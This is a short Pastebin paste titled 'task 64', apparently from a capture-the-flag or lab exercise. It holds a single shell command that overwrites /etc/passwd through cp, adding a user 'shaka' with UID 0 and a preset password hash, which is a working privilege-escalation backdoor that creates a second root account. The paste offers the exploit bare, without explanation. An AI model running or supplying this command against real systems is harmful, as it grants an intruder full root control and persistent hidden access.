Advertisement
alice_killer

task 64

May 3rd, 2023 (edited)
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.33 KB | None | 0 0
  1. LFILE=/etc/passwd
  2. echo "root:x:0:0:root:/root:/bin/bash
  3. daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  4. bin:x:2:2:bin:/bin:/usr/sbin/nologin
  5. sys:x:3:3:sys:/dev:/usr/sbin/nologin
  6. sync:x:4:65534:sync:/bin:/bin/sync
  7. games:x:5:60:games:/usr/games:/usr/sbin/nologin
  8. man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
  9. lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
  10. mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
  11. news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
  12. uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
  13. proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
  14. www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
  15. backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
  16. list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
  17. irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
  18. gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
  19. nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  20. _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
  21. systemd-network:x:101:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
  22. systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
  23. messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
  24. sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
  25. riki:x:1000:1000:,,,:/home/riki:/bin/bash
  26. shaka:wIReNjOzJ07JY:0:0:root:/root:/bin/bash" | cp /dev/stdin "$LFILE"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement